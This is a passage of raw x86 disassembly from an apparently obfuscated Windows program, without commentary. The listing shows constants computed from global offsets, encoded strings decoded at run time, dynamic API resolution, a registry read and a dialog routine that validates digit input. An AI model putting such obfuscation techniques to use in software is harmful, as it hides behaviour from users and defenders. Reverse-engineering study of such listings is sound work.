; sub_43FBFD+A7j
add edi, [ebp+arg_8]
mov eax, dword_54F238
inc eax
add eax, dword_54F20C
add edi, eax
add edi, ebx
cmp edi, [ebp+var_4]
jb short loc_43FC4C
push esi
call ds:dword_4495CC
xor eax, eax
loc_43FCD3: ; CODE XREF: sub_43FBFD+28j
; sub_43FBFD+B3j
pop edi
pop esi
pop ebx
leave
retn
sub_43FBFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FCD8 proc near ; CODE XREF: sub_4395D8+39Ap
; sub_4395D8+493p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov edi, dword_54F1AC
sub edi, 2
cmp edx, edi
jnz short loc_43FCFC
mov eax, [ebp+arg_0]
jmp short loc_43FD16
; ---------------------------------------------------------------------------
loc_43FCFC: ; CODE XREF: sub_43FCD8+1Dj
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_43FD16: ; CODE XREF: sub_43FCD8+22j
pop edi
pop esi
leave
retn
sub_43FCD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43FD1A proc near ; DATA XREF: sub_438324+1017o
; sub_438324+1067o ...
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_219 = byte ptr -219h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_108 = byte ptr -108h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov eax, ebx
cmp eax, 100h
jz short loc_43FD4B
jl loc_440306
cmp eax, 111h
jz loc_43FDE6
jmp loc_440306
; ---------------------------------------------------------------------------
loc_43FD4B: ; CODE XREF: sub_43FD1A+19j
cmp [ebp+arg_8], 9
jnz loc_440306
movsx edi, word_54F240
sub edi, 8
jmp short loc_43FDCC
; ---------------------------------------------------------------------------
loc_43FD61: ; CODE XREF: sub_43FD1A+C5j
mov eax, 30h
mul edi
mov [ebp+var_208], eax
cmp ds:dword_4CA564[eax], esi
jnz short loc_43FD96
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_4CA568[eax]
call ds:dword_4899FC
jmp loc_440306
; ---------------------------------------------------------------------------
loc_43FD96: ; CODE XREF: sub_43FD1A+5Bj
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
cmp ds:dword_4CA560[eax], esi
jnz short loc_43FDCB
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_4CA564[eax]
call ds:dword_4899FC
jmp loc_440306
; ---------------------------------------------------------------------------
loc_43FDCB: ; CODE XREF: sub_43FD1A+90j
inc edi
loc_43FDCC: ; CODE XREF: sub_43FD1A+45j
movsx eax, word_54F210
mov edx, dword_54F1BC
lea eax, [eax+edx+59h]
cmp edi, eax
jb short loc_43FD61
jmp loc_440306
; ---------------------------------------------------------------------------
loc_43FDE6: ; CODE XREF: sub_43FD1A+26j
movsx eax, word_54F128
mov edi, eax
add edi, dword_54F174
sub edi, 0Ch
jmp short loc_43FE14
; ---------------------------------------------------------------------------
loc_43FDFA: ; CODE XREF: sub_43FD1A+10Aj
mov eax, 30h
mul edi
mov [ebp+var_208], eax
mov eax, ds:dword_4CA56C[eax]
cmp [ebp+arg_C], eax
jz short loc_43FE26
inc edi
loc_43FE14: ; CODE XREF: sub_43FD1A+DEj
mov eax, dword_54F140
add eax, 63h
add eax, dword_54F180
cmp edi, eax
jb short loc_43FDFA
loc_43FE26: ; CODE XREF: sub_43FD1A+F7j
mov eax, dword_54F1B0
add eax, 5Dh
cmp edi, eax
jz loc_440306
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_4CA558[eax]
call ds:dword_54DF38
movsx eax, word_54F1A4
mov byte ptr [ebp+eax+var_20C+2], 4Bh
movsx eax, word_54F13C
mov edx, dword_54F1D8
sub edx, 4
mov byte ptr [ebp+eax+var_20C+1], dl
movsx eax, word_54F1A8
add eax, dword_54F0E8
mov [ebp+eax+var_204], 7Ch
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44602C
add esp, 8
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_4CA560[eax]
call ds:dword_54DF38
mov eax, dword_54F20C
movsx edx, word_54F194
add eax, edx
movsx eax, [ebp+eax+var_108]
mov edx, dword_54F1C8
add edx, dword_54F11C
sub edx, 0Ah
cmp eax, edx
jnz short loc_43FF59
push offset word_54FD36
call sub_43AAF7
pop ecx
movsx edx, word_54F138
sub edx, 3
push edx
mov edx, dword_54F1F4
add edx, dword_54F0AC
sub edx, 10h
push edx
push eax
mov edx, dword_54F140
add edx, dword_54F0B8
sub edx, 5
push edx
call ds:dword_50C938
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_4CA560[eax]
call ds:dword_4899FC
jmp loc_440306
; ---------------------------------------------------------------------------
loc_43FF59: ; CODE XREF: sub_43FD1A+1E1j
push offset byte_54FD31
call sub_43AAF7
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44602C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44602C
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_4CA564[eax]
call ds:dword_54DF38
mov eax, dword_54F0AC
movsx eax, [ebp+eax+var_10A]
mov edx, dword_54F098
add edx, dword_54F0C0
sub edx, 0Bh
cmp eax, edx
jnz short loc_440028
push offset byte_54FD0F
call sub_43AAF7
pop ecx
mov edx, dword_54F140
add edx, dword_54F0C8
sub edx, 2
push edx
mov edx, dword_54F1F8
add edx, dword_54F16C
sub edx, 8
push edx
push eax
movsx edx, word_54F148
dec edx
push edx
call ds:dword_50C938
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_4CA564[eax]
call ds:dword_4899FC
jmp loc_440306
; ---------------------------------------------------------------------------
loc_440028: ; CODE XREF: sub_43FD1A+2B2j
push offset word_54FD0A
call sub_43AAF7
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44602C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44602C
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_4CA568[eax]
call ds:dword_54DF38
mov eax, dword_54F154
movsx eax, [ebp+eax+var_10B]
movsx edx, word_54F210
add edx, dword_54F23C
sub edx, 5
cmp eax, edx
jz loc_4401CB
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_4400AB: ; CODE XREF: sub_43FD1A+396j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4400AB
mov edx, eax
mov ecx, dword_54F22C
movsx eax, word_54F208
add ecx, eax
sub ecx, 4
cmp edx, ecx
jb loc_4401CB
mov eax, dword_54F22C
sub eax, 7
mov [ebp+var_105], al
jmp short loc_440100
; ---------------------------------------------------------------------------
loc_4400DE: ; CODE XREF: sub_43FD1A+3FFj
movzx eax, [ebp+var_105]
mov al, [ebp+eax+var_103]
cmp al, 30h
jl short loc_4400F4
cmp al, 39h
jle short loc_4400F9
loc_4400F4: ; CODE XREF: sub_43FD1A+3D4j
jmp loc_4401CB
; ---------------------------------------------------------------------------
loc_4400F9: ; CODE XREF: sub_43FD1A+3D8j
add [ebp+var_105], 1
loc_440100: ; CODE XREF: sub_43FD1A+3C2j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_440109: ; CODE XREF: sub_43FD1A+3F4j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440109
movzx ecx, [ebp+var_105]
cmp ecx, eax
jb short loc_4400DE
mov eax, dword_54F1E0
add eax, dword_54F20C
sub eax, 8
mov [ebp+var_104], al
jmp short loc_4401A7
; ---------------------------------------------------------------------------
loc_440131: ; CODE XREF: sub_43FD1A+4A6j
mov al, [ebp+var_104]
mov [ebp+var_219], al
jmp short loc_440168
; ---------------------------------------------------------------------------
loc_44013F: ; CODE XREF: sub_43FD1A+467j
movzx eax, [ebp+var_219]
movsx eax, [ebp+eax+var_103]
movzx edx, [ebp+var_104]
movsx edx, [ebp+edx+var_103]
cmp eax, edx
jnz short loc_440183
add [ebp+var_219], 1
loc_440168: ; CODE XREF: sub_43FD1A+423j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_440171: ; CODE XREF: sub_43FD1A+45Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_440171
movzx ecx, [ebp+var_219]
cmp ecx, eax
jb short loc_44013F
loc_440183: ; CODE XREF: sub_43FD1A+445j
movzx eax, [ebp+var_219]
movzx edx, [ebp+var_104]
sub eax, edx
mov edx, dword_54F0BC
add edx, 3
cmp eax, edx
jg short loc_4401CB
add [ebp+var_104], 1
loc_4401A7: ; CODE XREF: sub_43FD1A+415j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_4401B0: ; CODE XREF: sub_43FD1A+49Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4401B0
movzx ecx, [ebp+var_104]
cmp ecx, eax
jb loc_440131
jmp loc_440267
; ---------------------------------------------------------------------------
loc_4401CB: ; CODE XREF: sub_43FD1A+382j
; sub_43FD1A+3AEj ...
mov eax, dword_54F170
add eax, 7CCh
push eax
call ds:dword_50C924
push offset a5 ; "5"
call sub_43AAF7
mov [ebp-21Ch], eax
push offset word_54FCBA
call sub_43AAF7
mov edx, dword_54F108
sub edx, 8
push edx
push eax
mov edx, [ebp-21Ch]
push edx
mov edx, dword_54F22C
add edx, dword_54F0EC
sub edx, 8
push edx
call ds:dword_50C938
push offset word_54FCB6
call sub_43AAF7
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp+var_220], eax
mov edx, eax
push ds:dword_4CA568[edx]
call ds:dword_54C954
mov eax, 30h
mul edi
mov [ebp+var_224], eax
push ds:dword_4CA568[eax]
call ds:dword_4899FC
jmp loc_440306
; ---------------------------------------------------------------------------
loc_440267: ; CODE XREF: sub_43FD1A+4ACj
push offset byte_54FCB1
call sub_43AAF7
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_44602C
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_44602C
mov eax, 30h
mul edi
mov [ebp+var_228], eax
push ds:dword_4CA558[eax]
call ds:dword_48A1E8
lea eax, [ebp+var_204]
push eax
call ds:dword_447014
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp+var_22C], eax
push ds:dword_4CA554[eax]
call ds:dword_54C958
mov eax, 30h
mul edi
mov [ebp+var_230], eax
movsx eax, word_54F198
movsx edx, word_54F1CC
add eax, edx
sub eax, 0Ah
mov edx, [ebp+var_230]
mov ds:dword_4CA550[edx], eax
loc_440306: ; CODE XREF: sub_43FD1A+1Bj
; sub_43FD1A+2Cj ...
mov edi, dword_54F1DC
jmp loc_4403E8
; ---------------------------------------------------------------------------
loc_440311: ; CODE XREF: sub_43FD1A+6E1j
mov eax, 30h
mul edi
mov [ebp+var_8], eax
cmp esi, ds:dword_4CA55C[eax]
jnz short loc_440348
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_C], eax
push ds:dword_4CA57C[eax]
call ds:dword_4CC8F8
jmp loc_440401
; ---------------------------------------------------------------------------
loc_440348: ; CODE XREF: sub_43FD1A+608j
mov eax, 30h
mul edi
mov [ebp+var_10], eax
cmp esi, ds:dword_4CA568[eax]
jnz short loc_44037F
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_14], eax
push ds:dword_4CA578[eax]
call ds:dword_4CC8F8
jmp loc_440401
; ---------------------------------------------------------------------------
loc_44037F: ; CODE XREF: sub_43FD1A+63Fj
mov eax, 30h
mul edi
mov [ebp+var_18], eax
cmp esi, ds:dword_4CA560[eax]
jnz short loc_4403B3
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_1C], eax
push ds:dword_4CA570[eax]
call ds:dword_4CC8F8
jmp short loc_440401
; ---------------------------------------------------------------------------
loc_4403B3: ; CODE XREF: sub_43FD1A+676j
mov eax, 30h
mul edi
mov [ebp+var_20], eax
cmp esi, ds:dword_4CA564[eax]
jnz short loc_4403E7
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_24], eax
push ds:dword_4CA574[eax]
call ds:dword_4CC8F8
jmp short loc_440401
; ---------------------------------------------------------------------------
loc_4403E7: ; CODE XREF: sub_43FD1A+6AAj
inc edi
loc_4403E8: ; CODE XREF: sub_43FD1A+5F2j
mov eax, dword_54F0E8
add eax, 5Eh
movsx edx, word_54F0B4
add eax, edx
cmp edi, eax
jb loc_440311
loc_440401: ; CODE XREF: sub_43FD1A+629j
; sub_43FD1A+660j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_43FD1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440408 proc near ; CODE XREF: sub_43C501+A6p
; sub_43C501+DCp
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 104h
push esi
push edi
mov edi, [ebp+arg_4]
movsx eax, word_54F0D0
movsx edx, word_54F148
add eax, edx
sub eax, 7
cmp byte ptr [edi+eax], 2Eh
jz short loc_440474
push [ebp+arg_0]
lea eax, [ebp+var_104]
push eax
call ds:dword_4491A4
push offset dword_54FCAC
call sub_43AAF7
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_44602C
push edi
lea eax, [ebp+var_104]
push eax
call ds:dword_44602C
lea eax, [ebp+var_104]
push eax
call sub_4440DD
add esp, 20h
loc_440474: ; CODE XREF: sub_440408+25j
pop edi
pop esi
leave
retn
sub_440408 endp
; =============== S U B R O U T I N E =======================================
sub_440478 proc near ; CODE XREF: sub_43B0C6+C3p
; sub_43B0C6+122p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov ebx, [esp+8+arg_0]
mov esi, [esp+8+arg_4]
mov ecx, dword_54F214
add ecx, 1Dh
mov eax, dword_54F21C
movsx edx, word_54F1F0
add eax, edx
sub eax, 9
sub ecx, eax
jmp short loc_4404BE
; ---------------------------------------------------------------------------
loc_4404A0: ; CODE XREF: sub_440478+4Ej
mov dx, [ebx+ecx*2]
cmp dx, [esi+ecx*2]
jnb short loc_4404AE
xor eax, eax
jmp short loc_4404CB
; ---------------------------------------------------------------------------
loc_4404AE: ; CODE XREF: sub_440478+30j
mov dx, [ebx+ecx*2]
cmp dx, [esi+ecx*2]
jbe short loc_4404BD
xor eax, eax
inc eax
jmp short loc_4404CB
; ---------------------------------------------------------------------------
loc_4404BD: ; CODE XREF: sub_440478+3Ej
dec ecx
loc_4404BE: ; CODE XREF: sub_440478+26j
mov eax, dword_54F224
dec eax
cmp ecx, eax
jge short loc_4404A0
xor eax, eax
inc eax
loc_4404CB: ; CODE XREF: sub_440478+34j
; sub_440478+43j
pop esi
pop ebx
retn
sub_440478 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4404CE proc near ; CODE XREF: sub_43EA1B+27Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, [ebp+arg_8]
mov ebx, [ebp+arg_C]
xor edi, edi
jmp short loc_4404FF
; ---------------------------------------------------------------------------
loc_4404DE: ; CODE XREF: sub_4404CE+37j
mov edx, ds:dword_4499E0[edi*4]
mov ds:dword_446008, edx
push offset sub_43D41A
push ebx
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_446008
inc edi
loc_4404FF: ; CODE XREF: sub_4404CE+Ej
cmp edi, dword_54F2A4
jb short loc_4404DE
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4404CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44050C proc near ; CODE XREF: sub_44526D+1E1p
; sub_44526D+204p ...
var_4B = byte ptr -4Bh
var_19 = byte ptr -19h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
call ds:dword_54CA70
mov [ebp+var_4], eax
mov ebx, [ebp+arg_0]
mov esi, dword_54F0B8
sub esi, 4
jmp short loc_440578
; ---------------------------------------------------------------------------
loc_44052C: ; CODE XREF: sub_44050C+7Ej
mov edx, dword_54F1EC
sub edx, 3
cmp ds:dword_4480E0[esi*4], edx
jz short loc_440577
mov edx, ds:dword_4CB950[esi*4]
mov ecx, dword_54F0D8
add ecx, 0EA5Ah
mov eax, dword_54F0A0
add eax, dword_54F158
dec eax
imul ecx, eax
add edx, ecx
cmp edx, [ebp+var_4]
jnb short loc_440577
mov edx, dword_54F1B0
sub edx, 7
mov ds:dword_4480E0[esi*4], edx
loc_440577: ; CODE XREF: sub_44050C+30j
; sub_44050C+59j
inc esi
loc_440578: ; CODE XREF: sub_44050C+1Ej
mov eax, dword_54F1D0
add eax, 3E0h
add eax, dword_54F0EC
cmp esi, eax
jb short loc_44052C
loc_44058C: ; CODE XREF: sub_44050C+A3j
; sub_44050C+256j
mov eax, [ebx]
mov [ebp+var_10], eax
lea ebx, [ebx+eax]
mov eax, ebx
sub eax, [ebp+arg_0]
cmp eax, [ebp+arg_4]
jnb loc_440768
movsx eax, word_54F164
add eax, 3
cmp [ebp+var_10], eax
ja short loc_44058C
mov eax, ebx
sub eax, [ebp+arg_0]
mov edx, dword_54F158
add edx, dword_54F124
dec edx
sub eax, edx
mov [ebp+var_8], eax
mov ecx, ebx
or eax, 0FFFFFFFFh
loc_4405CD: ; CODE XREF: sub_44050C+C6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4405CD
mov [ebp+var_C], eax
mov eax, dword_54F248
mov edi, eax
add edi, dword_54F0AC
sub edi, 0Bh
jmp short loc_44061E
; ---------------------------------------------------------------------------
loc_4405E9: ; CODE XREF: sub_44050C+11Ej
mov edx, dword_54F1EC
add edx, dword_54F0A4
sub edx, 0Ah
cmp ds:dword_4480E0[edi*4], edx
jz short loc_44061D
mov edx, [ebp+var_8]
cmp ds:dword_447020[edi*4], edx
jnz short loc_44061D
mov dl, ds:byte_4491B0[edi]
cmp dl, [ebp+arg_10]
jz loc_44074D
loc_44061D: ; CODE XREF: sub_44050C+F3j
; sub_44050C+FFj
inc edi
loc_44061E: ; CODE XREF: sub_44050C+DBj
mov eax, dword_54F20C
add eax, 3E4h
cmp edi, eax
jb short loc_4405E9
mov eax, dword_54F188
add eax, 3BBh
cmp [ebp+var_C], eax
jbe loc_4406F7
mov eax, dword_54F120
inc eax
add eax, dword_54F1BC
push eax
lea eax, [ebp+var_4B]
push eax
call sub_43CDF9
add esp, 8
mov eax, dword_54F1BC
add eax, 3B2h
movsx edx, word_54F1C4
add eax, edx
mov [ebp+var_14], eax
mov eax, dword_54F22C
sub eax, 7
mov [ebp+var_18], eax
loc_440679: ; CODE XREF: sub_44050C+1E9j
mov eax, [ebp+var_14]
mov al, [ebx+eax]
mov [ebp+var_19], al
mov eax, [ebp+var_14]
movsx edx, word_54F1C4
add edx, dword_54F1F4
sub edx, 11h
mov [ebx+eax], dl
push offset dword_447FE0
push [ebp+var_C]
push [ebp+var_18]
lea eax, [ebp+var_4B]
push eax
mov eax, [ebp+arg_C]
push dword ptr [eax]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
movsx eax, word_54F208
dec eax
and eax, 0FFh
push eax
call sub_440B82
add esp, 24h
mov eax, [ebp+var_14]
mov [ebp+var_18], eax
mov dl, [ebp+var_19]
mov [ebx+eax], dl
mov eax, dword_54F230
add eax, 3BFh
add [ebp+var_14], eax
mov eax, [ebp+var_C]
cmp [ebp+var_14], eax
jbe short loc_4406ED
mov [ebp+var_14], eax
loc_4406ED: ; CODE XREF: sub_44050C+1DCj
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jnb short loc_440748
jmp short loc_440679
; ---------------------------------------------------------------------------
loc_4406F7: ; CODE XREF: sub_44050C+12Dj
push offset byte_54FCA7
call sub_43AAF7
push offset dword_447FE0
push [ebp+var_C]
movsx edx, word_54F1A4
movsx ecx, word_54F198
add edx, ecx
sub edx, 7
push edx
push eax
mov edx, [ebp+arg_C]
push dword ptr [edx]
push [ebp+arg_0]
push ebx
push [ebp+arg_8]
mov edx, dword_54F0A0
add edx, dword_54F114
sub edx, 4
and edx, 0FFh
push edx
call sub_440B82
add esp, 28h
loc_440748: ; CODE XREF: sub_44050C+1E7j
mov eax, [ebp+arg_C]
inc dword ptr [eax]
loc_44074D: ; CODE XREF: sub_44050C+10Bj
mov eax, [ebp+var_C]
lea ebx, [ebx+eax]
inc ebx
mov eax, [ebp+arg_C]
mov edx, dword_54F228
add edx, 0Ch
cmp [eax], edx
jbe loc_44058C
loc_440768: ; CODE XREF: sub_44050C+90j
push offset byte_54FCA3
call sub_43AAF7
push offset dword_447FE0
mov edx, dword_54F1D8
movsx ecx, word_54F0D0
add edx, ecx
sub edx, 0Ah
push edx
movsx edx, word_54F13C
sub edx, 9
push edx
push eax
push edx
movsx edx, word_54F1A4
sub edx, 6
push edx
movsx edx, word_54F118
sub edx, 8
push edx
push [ebp+arg_8]
mov edx, dword_54F1E0
add edx, dword_54F1E4
sub edx, 7
and edx, 0FFh
push edx
call sub_440B82
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_44050C endp
; =============== S U B R O U T I N E =======================================
sub_4407D3 proc near ; CODE XREF: sub_444ED7+25p
push edi
push offset word_54FC96
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F264, eax
mov eax, dword_54F1B8
add eax, dword_54F204
sub eax, 6
cmp dword_54F264, eax
jnz short loc_440818
push offset byte_54FC89
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F264, eax
loc_440818: ; CODE XREF: sub_4407D3+2Cj
push offset byte_54FC77
call sub_43AAF7
push eax
push dword_54F264
call ds:dword_4491AC
mov ds:dword_44908C, eax
push offset byte_54FC67
call sub_43AAF7
push eax
push dword_54F264
call ds:dword_4491AC
mov ds:dword_449084, eax
push offset dword_54FC54
call sub_43AAF7
push eax
push dword_54F264
call ds:dword_4491AC
mov ds:dword_54E048, eax
push offset dword_54FC40
call sub_43AAF7
push eax
push dword_54F264
call ds:dword_4491AC
mov ds:dword_4495D4, eax
push offset byte_54FC31
call sub_43AAF7
push eax
push dword_54F264
call ds:dword_4491AC
mov ds:dword_50C93C, eax
push offset dword_54FC20
call sub_43AAF7
add esp, 18h
push eax
push dword_54F264
call ds:dword_4491AC
mov ds:dword_48A1EC, eax
pop edi
retn
sub_4407D3 endp
; =============== S U B R O U T I N E =======================================
sub_4408C5 proc near ; CODE XREF: sub_444ED7+2Ap
push edi
push offset word_54FC12
call sub_43AAF7
pop ecx
push eax
call ds:dword_449598
mov dword_54F25C, eax
movsx eax, word_54F1C4
sub eax, 8
cmp dword_54F25C, eax
jnz short loc_440906
push offset dword_54FC04
call sub_43AAF7
pop ecx
push eax
call ds:dword_48A218
mov dword_54F25C, eax
loc_440906: ; CODE XREF: sub_4408C5+28j
push offset word_54FBF2
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4495C8, eax
push offset dword_54FBE0
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4CC914, eax
push offset byte_54FBC9
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4495A4, eax
push offset word_54FBB6
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4CB93C, eax
push offset byte_54FBA5
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_50C930, eax
push offset asc_54FB97 ; "\n"
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_54C958, eax
push offset byte_54FB85
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_449090, eax
push offset asc_54FB79 ; "\b"
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4899FC, eax
push offset asc_54FB6D ; "\b"
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4CC8F4, eax
push offset byte_54FB59
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_54CB00, eax
push offset byte_54FB49
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_446018, eax
push offset byte_54FB37
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4495AC, eax
push offset word_54FB26
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_447FD0, eax
push offset dword_54FB14
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_54DF38, eax
push offset byte_54FB01
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4CC8F8, eax
push offset dword_54FAF0
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_54C950, eax
push offset byte_54FAE3
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_446004, eax
push offset dword_54FAD4
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_4CA548, eax
push offset dword_54FAC0
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_447018, eax
push (offset asc_54FAB0+2)
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_447000, eax
push offset dword_54FA9C
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_447010, eax
push offset word_54FA8A
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_54C954, eax
push offset byte_54FA79
call sub_43AAF7
push eax
call sub_443A0A
mov ds:dword_48A1E8, eax
push offset word_54FA6A
call sub_43AAF7
push eax
call sub_443A0A
add esp, 0C0h
mov ds:dword_50C938, eax
pop edi
retn
sub_4408C5 endp
; =============== S U B R O U T I N E =======================================
sub_440B06 proc near ; CODE XREF: sub_444ED7+302p
push 2
call sub_441DB2
push 0
call sub_441DB2
add esp, 8
retn
sub_440B06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440B18 proc near ; CODE XREF: sub_43F81A+79p
; sub_43F81A+197p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
movsx eax, word_54F0CC
dec eax
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_44959C
mov edi, eax
or edi, edi
jz short loc_440B45
xor eax, eax
jmp short loc_440B7F
; ---------------------------------------------------------------------------
loc_440B45: ; CODE XREF: sub_440B18+27j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
mov eax, dword_54F0E4
add eax, dword_54F1B0
sub eax, 0Ch
push eax
push [ebp+arg_8]
push [ebp+var_4]
call ds:dword_44604C
mov edi, eax
push [ebp+var_4]
call ds:dword_4CC904
or edi, edi
jz short loc_440B7C
xor eax, eax
jmp short loc_440B7F
; ---------------------------------------------------------------------------
loc_440B7C: ; CODE XREF: sub_440B18+5Ej
xor eax, eax
inc eax
loc_440B7F: ; CODE XREF: sub_440B18+2Bj
; sub_440B18+62j
pop edi
leave
retn
sub_440B18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440B82 proc near ; CODE XREF: sub_43C284+CAp
; sub_44050C+1B5p ...
var_2F038 = dword ptr -2F038h
var_2F033 = byte ptr -2F033h
var_F034 = dword ptr -0F034h
var_F030 = dword ptr -0F030h
var_F02B = byte ptr -0F02Bh
var_F02A = dword ptr -0F02Ah
var_F022 = byte ptr -0F022h
var_EF23 = byte ptr -0EF23h
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 2F038h
call sub_4455B4
push ebx
push esi
push edi
movsx edi, word_54F164
imul edi, 3C0h
movsx esi, word_54F0C4
